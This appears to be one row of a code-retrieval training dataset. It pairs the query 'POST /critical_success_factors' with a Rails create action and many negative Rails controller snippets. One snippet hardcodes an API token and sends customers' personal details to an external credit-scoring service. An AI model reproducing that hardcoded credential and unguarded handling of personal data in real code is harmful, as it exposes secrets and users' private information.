query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
POST /critical_success_factors POST /critical_success_factors.json | def create
@critical_success_factor = CriticalSuccessFactor.new(params[:critical_success_factor])
@critical_success_factor.user = current_user
@critical_success_factor.confidential = false
respond_to do |format|
if @critical_success_factor.save
format.html { redirect_to @critical_success_factor, notice: 'Critical success factor was successfully created.' }
format.json { render json: @critical_success_factor, status: :created, location: @critical_success_factor }
else
format.html { render action: "new" }
format.json { render json: @critical_success_factor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @critical_factor = CriticalFactor.new(params[:critical_factor])\n @critical_factor.user = current_user\n @critical_factor.confidential = false\n\n\n respond_to do |format|\n if @critical_factor.save\n format.html { redirect_to @critical_factor, notice: 'Critical factor was successfully created.'}\n format.json { render json: @critical_factor, status: :created, location: @critical_factor }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @critical_success_factor = CriticalSuccessFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_success_factor }\n end\n end",
"def index\n\n @critical_success_factors = CriticalSuccessFactor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factors }\n end\n end",
"def create\n @critical_success_factor_type = CriticalSuccessFactorType.new(params[:critical_success_factor_type])\n\n respond_to do |format|\n if @critical_success_factor_type.save\n format.html { redirect_to @critical_success_factor_type, notice: 'Tipo de Factor Crítico registrado correctamente.' }\n format.json { render json: @critical_success_factor_type, status: :created, location: @critical_success_factor_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_success_factor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @critical = Critical.new(critical_params)\n\n respond_to do |format|\n if @critical.save\n format.html { redirect_to @critical, notice: 'Critical was successfully created.' }\n format.json { render :show, status: :created, location: @critical }\n else\n format.html { render :new }\n format.json { render json: @critical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @critical_factor = CriticalFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def new\n @critical_success_factor_type = CriticalSuccessFactorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_success_factor_type }\n end\n end",
"def index\n @critical_factors = CriticalFactor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_factors }\n end\n end",
"def update\n @critical_success_factor = CriticalSuccessFactor.find(params[:id])\n\n respond_to do |format|\n if @critical_success_factor.update_attributes(params[:critical_success_factor])\n format.html { redirect_to @critical_success_factor, notice: 'Critical success factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_success_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stage_certainty_factor = StageCertaintyFactor.new(stage_certainty_factor_params)\n\n respond_to do |format|\n if @stage_certainty_factor.save\n format.html { redirect_to @stage_certainty_factor, notice: 'Stage certainty factor was successfully created.' }\n format.json { render :show, status: :created, location: @stage_certainty_factor }\n else\n format.html { render :new }\n format.json { render json: @stage_certainty_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @critical_success_factor = CriticalSuccessFactor.find(params[:id])\n @critical_success_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_success_factors_url }\n format.json { head :no_content }\n end\n end",
"def index\n @critical_success_factor_types = CriticalSuccessFactorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factor_types }\n end\n end",
"def create\n @patient_risk_factor = PatientRiskFactor.new(params[:patient_risk_factor])\n\n respond_to do |format|\n if @patient_risk_factor.save\n format.html { redirect_to @patient_risk_factor, :notice => 'Patient risk factor was successfully created.' }\n format.json { render json: @patient_risk_factor, status: :created, location: @patient_risk_factor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient_risk_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @critical_success_factor = CriticalSuccessFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_success_factor }\n end\n end",
"def create\n @faculties = Faculty.create!(faculty_params)\n json_response(@faculties, :created)\n end",
"def critical_params\n params.require(:critical).permit(:result_id, :karuta_id, :field_id)\n end",
"def update\n @critical_factor = CriticalFactor.find(params[:id])\n\n respond_to do |format|\n if @critical_factor.update_attributes(params[:critical_factor])\n format.html { redirect_to @critical_factor, notice: 'Critical factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @success_criterion = SuccessCriterion.new(success_criterion_params)\n\n respond_to do |format|\n if @success_criterion.save\n format.html { redirect_to crits_path(@success_criterion.user_story), notice: 'Success criterion was successfully created.' }\n format.json { render :show, status: :created, location: @success_criterion }\n else\n format.html { render :new }\n format.json { render json: @success_criterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @technological_factor = TechnologicalFactor.new(technological_factor_params)\n\n respond_to do |format|\n if @technological_factor.save\n format.html { redirect_to @technological_factor, notice: 'Technological factor was successfully created.' }\n format.json { render :show, status: :created, location: @technological_factor }\n else\n format.html { render :new }\n format.json { render json: @technological_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @factors_user = FactorsUser.new(params[:factors_user])\n\n respond_to do |format|\n if @factors_user.save\n format.html { redirect_to \"/factors_users/new?factor_id=#{@factors_user.factor_id + 1}\", notice: 'Factors user was successfully created.' }\n format.json { render json: @factors_user, status: :created, location: @factors_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @factors_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @critical_factor = CriticalFactor.find(params[:id])\n @critical_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_factors_url }\n format.json { head :no_content }\n end\n end",
"def create\n @factor = Factor.new(params[:factor])\n\n respond_to do |format|\n if @factor.save\n format.html { redirect_to @factor, notice: 'Factor was successfully created.' }\n format.json { render json: @factor, status: :created, factor: @factor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @form_factor = FormFactor.new(form_factor_params)\n\n respond_to do |format|\n if @form_factor.save\n format.html { redirect_to @form_factor, notice: 'Form factor was successfully created.' }\n format.json { render :show, status: :created, location: @form_factor }\n else\n format.html { render :new }\n format.json { render json: @form_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @critical_question = CriticalQuestion.new(params[:critical_question])\n\n respond_to do |format|\n if @critical_question.save\n format.html { redirect_to @critical_question, notice: 'Critical question was successfully created.' }\n format.json { render json: @critical_question, status: :created, location: @critical_question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @critical_factor = CriticalFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def foodcritic_evaluation\n require_evaluation_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.foodcritic_metric,\n params[:foodcritic_failure],\n params[:foodcritic_feedback]\n )\n\n head 200\n end",
"def create\n @control_list_factor = ControlListFactor.new(control_list_factor_params)\n\n respond_to do |format|\n if @control_list_factor.save\n format.html { redirect_to control_list_factors_path, notice: '' }\n format.json { render :show, status: :created, location: @control_list_factor }\n else\n format.html { render :new }\n format.json { render json: @control_list_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @socio_cultural_factor = SocioCulturalFactor.new(socio_cultural_factor_params)\n\n respond_to do |format|\n if @socio_cultural_factor.save\n format.html { redirect_to @socio_cultural_factor, notice: 'Socio cultural factor was successfully created.' }\n format.json { render :show, status: :created, location: @socio_cultural_factor }\n else\n format.html { render :new }\n format.json { render json: @socio_cultural_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @when_factor = WhenFactor.new(params[:when_factor])\n\n respond_to do |format|\n if @when_factor.save\n format.html { redirect_to(@when_factor, :notice => 'WhenFactor was successfully created.') }\n format.xml { render :xml => @when_factor, :status => :created, :location => @when_factor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @when_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def submit_form_2122\n validate_json_schema\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(header_md5: header_md5,\n source_name: source_name)\n unless power_of_attorney&.status&.in?(%w[submitted pending])\n power_of_attorney = ClaimsApi::PowerOfAttorney.create(\n status: ClaimsApi::PowerOfAttorney::PENDING,\n auth_headers: auth_headers,\n form_data: form_attributes,\n source_data: source_data,\n header_md5: header_md5\n )\n\n unless power_of_attorney.persisted?\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_by(md5: power_of_attorney.md5)\n end\n\n power_of_attorney.save!\n end\n\n ClaimsApi::PoaUpdater.perform_async(power_of_attorney.id)\n\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end",
"def create\n access(:create)\n checked_params = check_params(FAILURE_PROPERTIES)\n checked_params[\"device\"] = Device.find(failure_params[\"device_id\"])\n checked_params[\"announcer\"] = Employee.find(failure_params[\"announcer_id\"])\n @failure = Failure.new(checked_params)\n respond_to do |format|\n if @failure.save\n format.html { redirect_to @failure}\n format.json { render :show, status: :created, location: @failure }\n else\n format.html { render :new }\n format.json { render json: @failure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @criterion = Criterion.new(params[:criterion])\n\n if @criterion.save\n render json: @criterion, status: :created, location: @criterion\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n @critical_success_factor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_success_factor_types_url }\n format.json { head :no_content }\n end\n end",
"def submit\n\t\tcontest_id = get_params[:contest_id]\n\t\tstudent_id = current_student.id\n\t\tcproblem_id = get_params[:cproblem_id]\n\t\tstatus = get_params[:status]\n\t\tCproblem.submit(contest_id, cproblem_id, student_id, status)\n\t\trender json: {}\n\tend",
"def create\n Rails.logger.debug \"[ClassificationsController.create] params.class: #{params.class}, params: #{params}\"\n @classifaction = Classification.new transaction_data: params\n @classifaction.classifiers << StatusCodeClassifier.classify( @classifaction.transaction_data )\n @classifaction.classify\n\n if @classifaction.save\n render json: @classifaction.as_jsonapi, status: :created\n else\n render json: { error: 'oops' }, status: 500\n end\n end",
"def create\n @cash_flow ||= @monthly_budget.cash_flows.build(\n category_id: @category.id\n )\n\n @cash_flow.planned = cash_flow_params[:planned]\n\n if @cash_flow.save\n render json: @cash_flow, status: :created\n else\n render json: @cash_flow.errors, status: :unprocessable_entity\n end\n end",
"def submit_factor_changes\n params[:factor_depends].each do |factor|\n f = Factor.find_by(id: factor[0][0..-1])\n f.dependency = factor[1]\n f.save\n end\n\n params[:factor_amount].each do |factor|\n f = Factor.find_by(id: factor[0][0..-1])\n f.amount = factor[1][0..-1]\n f.save\n end\n\n params[:factor_unit].each do |factor|\n f = Factor.find_by(id: factor[0])\n f.unit = factor[1..-1].join\n f.save\n end\n\n params[:factor_question].each do |factor|\n f = Factor.find_by(id: factor[0])\n f.variableName = factor[1..-1].join\n f.save\n end\n\n redirect_to statistics_path\n end",
"def create\n @risk_classification = RiskClassification.new(params[:risk_classification])\n\n respond_to do |format|\n if @risk_classification.save\n format.html { redirect_to @risk_classification, notice: 'Risk classification was successfully created.' }\n format.json { render json: @risk_classification, status: :created, location: @risk_classification }\n else\n format.html { render action: \"new\" }\n format.json { render json: @risk_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clase_unit = ClaseUnit.new(clase_unit_params)\n\n respond_to do |format|\n if @clase_unit.save\n format.html { redirect_to @clase_unit, notice: 'Clase unit was successfully created.' }\n format.json { render action: 'show', status: :created, location: @clase_unit }\n else\n format.html { render action: 'new' }\n format.json { render json: @clase_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n\n respond_to do |format|\n if @critical_success_factor_type.update_attributes(params[:critical_success_factor_type])\n format.html { redirect_to @critical_success_factor_type, notice: 'Tipo de Factor Crítico actualizado correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_success_factor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish_test_results(test_category, test_phase, test_suite_result_list)\n ReportLog.entering(@@class_name, __method__.to_s)\n\n test_suite_result_list.each do |test_suite_result|\n test_suite_name = test_suite_result['TestSuiteName']\n test_count = test_suite_result['TestCount'].to_i\n error_count = test_suite_result['ErrorCount'].to_i\n failure_count = test_suite_result['FailureCount'].to_i\n\n pass_rate = 1 - (error_count.to_f + failure_count.to_f)/test_count.to_f\n\n input = Hash.new\n input[:RTCConfig] = data_for(:RTC_config)\n\n if pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:minor_threshold])\n # pass rate standard not met, create or update existing defect\n if pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:blocker_threshold])\n defect_severity = Constants::RTC_SEVERITY_BLOCKER\n elsif pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:major_threshold])\n defect_severity = Constants::RTC_SEVERITY_MAJOR\n elsif pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:normal_threshold])\n defect_severity = Constants::RTC_SEVERITY_NORMAL\n else\n defect_severity = Constants::RTC_SEVERITY_MINOR\n end\n\n # Check from the TEST DB whether there is already an open defect for this test suite\n # if yes, update it\n # if no, create a new one\n\n # set up RTC client and run /getOpenTestAutoDefect API\n ReportLog.info('Pass rate beneath standard. Update existing open defect or create a new one.')\n ReportLog.info(\"Looking for open defect for test suite #{test_suite_name} ...\")\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_getOpenTestAutoDefect])\n @payload = JSON.generate(input)\n @params = Hash.new\n @params[Constants::PARAM_TEST_SUITE_NAME] = test_suite_name\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n @params = Hash.new\n @params[Constants::PARAM_TEST_CATEGORY] = test_category\n @params[Constants::PARAM_TEST_PHASE] = test_phase\n @params[Constants::PARAM_DEFECT_SEVERITY] = defect_severity\n input['TestSuiteResult'] = test_suite_result\n @payload = JSON.generate(input)\n if rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).nil?\n # no existing open defect, create a new one\n ReportLog.info('Open defect not found. Creating a new one...')\n # set up RTC client and run /createTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_createTestAutoDefect])\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_POST, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Created a new defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n else\n # existing open defect found, update it\n ReportLog.info('Open defect found. Updating its content...')\n # set up RTC client and run /updateTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_updateTestAutoDefect])\n @params[Constants::PARAM_DEFECT_NUM] = rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).fetch('Defect Number').to_s\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_POST, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Updated the open defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n else\n raise construct_api_failure_msg(rtc_client)\n end\n else\n # pass rate reached standard, close open defect automatically\n # Check from the TEST DB whether there is already an open defect for this test suite\n # if yes, close it\n # if no, do nothing, you are good\n\n # set up RTC client for /getOpenTestAutoDefect API\n ReportLog.info('Pass rate reached standard. Close open defect if there is any.')\n ReportLog.info(\"Looking for open defect for test suite #{test_suite_name} ...\")\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_getOpenTestAutoDefect])\n @payload = JSON.generate(input)\n @params = Hash.new\n @params[Constants::PARAM_TEST_SUITE_NAME] = test_suite_name\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n @params = Hash.new\n if rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).nil?\n # do nothing\n else\n # existing open defect found, close it\n ReportLog.info('Open defect found. Closing it...')\n # set up RTC client and run /closeTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_closeTestAutoDefect])\n @params[Constants::PARAM_DEFECT_NUM] = rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).fetch('Defect Number').to_s\n @params[Constants::PARAM_COMMENT] = \"Closed defect upon test execution at #{test_suite_result['ExecutionTimestamp']} \"\n + \"from build #{test_suite_result['Build']['BuildName']} \"\n + \"with an acceptable pass rate of #{pass_rate}.\"\n @params[Constants::PARAM_BUILD_NAME] = test_suite_result['Build']['BuildName']\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Closed the open defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n end\n ReportLog.exiting(@@class_name, __method__.to_s)\n end",
"def show\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_success_factor_type }\n end\n end",
"def create\n @code_factor = CodeFactor.new(params[:code_factor])\n\n respond_to do |format|\n if @code_factor.save\n format.html { redirect_to(@code_factor, :notice => 'CodeFactor was successfully created.') }\n format.xml { render :xml => @code_factor, :status => :created, :location => @code_factor }\n format.json { render :json => @code_factor, :status => :created, :location => @code_factor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @code_factor.errors, :status => :unprocessable_entity }\n format.json { render :json => @code_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @commission_fixing = CommissionFixing.new(params[:commission_fixing])\n if @commission_fixing.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@commission_fixing.errors)\n end \n end",
"def create\n @clase = Clase.new(clase_params)\n\n respond_to do |format|\n if @clase.save\n format.html { redirect_to @clase, notice: 'La Clase fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @clase }\n else\n @partidas_parciales = PartidaParcial.all\n format.html { render :new }\n format.json { render json: @clase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @stage_certainty_factors = StageCertaintyFactor.all\n end",
"def create\n key_result = params[:key_result]\n personal_objective_id = params[:personal_objective_id] \n status = PersonalKeyResult.new_personal_key_result(key_result, personal_objective_id, current_user.id)\n respond_to do |format|\n if status == 200 \n # update_okr_modules(personal_objective_id, new_personal_key_result.id, 0.00)\n format.json { render json: 'Personal Key Result is created successfully!', status: :ok }\n else \n format.json { render json: 'Fail to create personal key result!', status: :unprocessable_entity }\n end\n end\n end",
"def create\n course = Course.includes(:professors).new(course_params)\n course.professor_ids=(params[:professors])\n\n if course.save\n render json: course.to_json(include: :professors)\n else\n render :json => { :errors => course.errors }, :status => 422\n end\n end",
"def create\n @title = 'New Factor'\n @factor = Factor.new(params[:factor])\n @decision_id = params[:factor][:decision_id]\n return if ! can_access Decision.find(@decision_id)\n respond_to do |format|\n if @factor && can_access(@factor) && @factor.save\n format.html { redirect_to edit_decision_path(@decision_id),\n notice: 'Factor was successfully created.' }\n format.json { render json: @factor, status: :created, location: @factor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @concept = CustomizedConcept.find(params[:test_attempt][:customized_concept_id])\n @tests = @concept.tests\n @test_attempt = @concept.test_attempts.new(test_attempt_params)\n @course = @concept.course\n @answer_records = @test_attempt.answer_records\n \n @error_test = check_answer(params[:select_answers])\n respond_to do |format|\n if (@error_test.length == 0) \n @test_attempt.test_time_sec = Time.now.to_i - @test_attempt.test_time_sec\n if @test_attempt.save\n format.html { redirect_to course_customized_concept_path(@course, @concept), notice: 'Successfully pass' }\n format.json { render :show, status: :created, location: @test_attempt }\n end\n else\n\t\t\t\t@test_attempt.retry_time += 1\n\t\t\t\tbinding.pry\n @error_test.each do |e|\n @answer_records.each do |a|\n a.error_times += 1 if a.test == e\n end\n end\n format.html { render :new }\n format.json { render json: @test_attempt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classification_fund = ClassificationFund.new(classification_fund_params)\n\n respond_to do |format|\n if @classification_fund.save\n format.html { redirect_to @classification_fund, notice: 'Classification fund was successfully created.' }\n format.json { render :show, status: :created, location: @classification_fund }\n else\n format.html { render :new }\n format.json { render json: @classification_fund.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @compromise = Compromise.new(compromise_params)\n\n if @compromise.save\n create_for_each_notification_type(@compromise)\n render json: @compromise, status: :created, location: @compromise\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end",
"def create\n @certainty = Certainty.new(certainty_params)\n\n respond_to do |format|\n if @certainty.save\n format.html { redirect_to @certainty, notice: 'Certainty was successfully created.' }\n format.json { render :show, status: :created, location: @certainty }\n else\n format.html { render :new }\n format.json { render json: @certainty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit!\n @power_factor = Power::Factor.new(params[:power_factor])\n\n respond_to do |format|\n if @power_factor.save\n format.html { redirect_to(@power_factor, :notice => 'Factor was successfully created.') }\n format.xml { render :xml => @power_factor, :status => :created, :location => @power_factor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @power_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sector_characteristic = SectorCharacteristic.new(sector_characteristic_params)\n\n respond_to do |format|\n if @sector_characteristic.save\n format.html { redirect_to @sector_characteristic, notice: 'Sector characteristic was successfully created.' }\n format.json { render :show, status: :created, location: @sector_characteristic }\n else\n format.html { render :new }\n format.json { render json: @sector_characteristic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incidentcategory = Incidentcategory.new(incidentcategory_params)\n\n if @incidentcategory.save\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end",
"def create \n @user_requirement = UserRequirement.new(user_requirement_params)\n if @user_requirement.save\n render json: @user_requirement, status: :created \n else \n render json: @user_requirement.errors, status: :unprocessable_entity\n end \n end",
"def create\n @certtest = Certtest.new(certtest_params)\n\n respond_to do |format|\n if @certtest.save\n format.html { redirect_to @certtest, notice: 'Certtest was successfully created.' }\n format.json { render :show, status: :created, location: @certtest }\n else\n format.html { render :new }\n format.json { render json: @certtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def success_criterion_params\n params.require(:success_criterion).permit(:description, :completed, :user_story_id)\n end",
"def proficiency\n h = {}\n subjects = current_user.scheme.subjects\n if request.xhr?\n if params[:subject_id]\n subjects = Subject.where(id:params[:subject_id]) unless params[:subject_id].blank?\n end\n end \n subjects.each do |sub|\n sub.units.each do |u|\n if u.reports.exists? \n accuracy = ((u.reports.where(user_id:current_user.id).total_correct.to_f/u.reports.where(user_id:current_user.id).total_questions.to_f).to_f*100).round(2)\n attended = ((u.reports.where(user_id:current_user.id).total_attended.to_f/u.reports.where(user_id:current_user.id).total_questions.to_f).to_f*100).round(2)\n data = []\n u.reports.where(user_id:current_user.id).each do |report|\n l1 = (report.l1_attended.to_f/(report.l1_total.to_f.nonzero? || 1 ))*100\n l2 = (report.l2_attended.to_f/(report.l2_total.to_f.nonzero? || 1 ))*100\n l3 = (report.l3_attended.to_f/(report.l3_total.to_f.nonzero? || 1 ))*100\n data << (report.l1_attended.to_f/report.l1_total.to_f)*100 + (report.l2_attended.to_f/report.l2_total.to_f)*10 + (report.l3_attended.to_f/report.l3_total.to_f)\n end\n strategy = average(data)\n h[u.name] = [attended, accuracy, strategy]\n else\n h[u.name] = [0,0,0]\n end\n end\n end\n @hash = h.sort_by {|k,v| v}.reverse! \n end",
"def create\n @frontend_critic = Frontend::Critic.new(frontend_critic_params)\n\n respond_to do |format|\n if @frontend_critic.save\n format.html { redirect_to @frontend_critic, notice: 'Critic was successfully created.' }\n format.json { render :show, status: :created, location: @frontend_critic }\n else\n format.html { render :new }\n format.json { render json: @frontend_critic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stratification_factor = @randomization_scheme.stratification_factors\n .where(project_id: @project.id, user_id: current_user.id)\n .new(stratification_factor_params)\n if @stratification_factor.save\n redirect_to(\n [@project, @randomization_scheme, @stratification_factor],\n notice: \"Stratification factor was successfully created.\"\n )\n else\n render :new\n end\n end",
"def claculate_credit_score(customer, claim)\n uri = URI.parse(\"https://api.inferentics.com/v1\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"Token test_1825b34257c8398b035c110edd03b0911353c0d5155f7ee5d3738467b6\"\n request.body = JSON.dump({\n \"exposure\" => claim.exposure,\n \"given_names\" => \"#{customer.given_names}\",\n \"surname\" => \"#{customer.surname}\",\n \"email\" => \"#{customer.email}\",\n \"phone_mobile\" => \"#{customer.phone_mobile}\",\n \"phone_home\" => \"#{customer.phone_home}\",\n \"dob\" => \"#{customer.dob}\",\n \"address\" => \"#{customer.address}\",\n \"employer_name\" => \"#{customer.employer_name}\",\n \"job_title\" => \"#{customer.job_title}\",\n \"device_type\" => \"#{customer.device_type}\",\n \"device_os\" => \"#{customer.device_os}\",\n \"device_model\" => \"#{customer.device_model}\",\n \"device_screen_resolution\" => \"#{customer.device_screen_resolution}\",\n \"network_service_provider\" => \"#{customer.network_service_provider}\",\n \"ip_address\" => \"#{customer.ip_location}\",\n \"time_zone\" => \"#{customer.time_zone}\",\n \"time_of_day\" => \"#{customer.time_of_day}\"\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n response.code\n response.body\n credit_score = JSON.parse(response.body)\n #business rules for approval and rejection\n if customer.update(credit_score: credit_score[\"result\"])\n if credit_score['result'].to_i >= 750\n claim.approved = true\n else\n claim.approved = false\n end\n return\n end\n end",
"def create\n\n @labticket = Labticket.new(labticket_params) \n \n respond_to do |format|\n if @labticket.save\n format.html { redirect_to @labticket, notice: 'Labticket was successfully created.' }\n format.json { render :show, status: :created, location: @labticket } \n else\n format.html { render :new }\n format.json { render json: @labticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_post\n # purpose_type: profile ID of\n # https://certs.nii.ac.jp/archive/TSV_File_Format/client_tsv/\n\n # S/MIME-multiple-application guard (failsafe)\n smime_num = Cert.where(user_id: current_user.id, purpose_type: 7, state: Cert::State::NEW_GOT_SERIAL).count() # FIXME: rewrite to cover multiple states\n if (smime_num > 0)\n return # FIXME: need error message\n end\n\n ActiveRecord::Base.transaction do \n current_user.cert_serial_max += 1\n current_user.save # TODO: need error check\n end \n \n case params[:cert][\"purpose_type\"].to_i\n when Cert::PurposeType::CLIENT_AUTH_CERTIFICATE\n dn = \"CN=#{current_user.uid},OU=No #{current_user.cert_serial_max.to_s},\" + SHIBCERT_CONFIG[Rails.env]['base_dn']\n\n when Cert::PurposeType::SMIME_CERTIFICATE\n dn = \"CN=#{current_user.name},\" + SHIBCERT_CONFIG[Rails.env]['base_dn']\n else\n # something wrong. TODO: need error handling\n Rails.logger.info \"#{__method__}: unknown purpose_type #{params[:cert]['purpose_type']}\"\n dn = \"\"\n end\n \n request_params = params.require(:cert).permit(:purpose_type).merge(\n {user_id: current_user.id,\n state: Cert::State::NEW_REQUESTED_FROM_USER,\n dn: dn,\n req_seq: current_user.cert_serial_max})\n @cert = Cert.new(request_params)\n @cert.save\n\n Rails.logger.debug \"RaReq.request call: @cert = #{@cert.inspect}\"\n RaReq.request(@cert)\n \n redirect_to request_result_path(@cert.id)\n end",
"def create\n @complaint_client_satisfaction = ComplaintClientSatisfaction.new(complaint_client_satisfaction_params)\n\n respond_to do |format|\n if @complaint_client_satisfaction.save\n format.html { redirect_to @complaint_client_satisfaction.complaint, notice: 'client feedback was successfully submitted.' }\n format.json { render :show, status: :created, location: @complaint_client_satisfaction }\n else\n format.html { render :new }\n format.json { render json: @complaint_client_satisfaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faculty = Faculty.new(faculty_params)\n\n respond_to do |format|\n if @faculty.save\n format.html { redirect_to @faculty, notice: 'Faculty was successfully created.' }\n format.json { render :show, status: :created, location: @faculty }\n else\n format.html { render :new }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end",
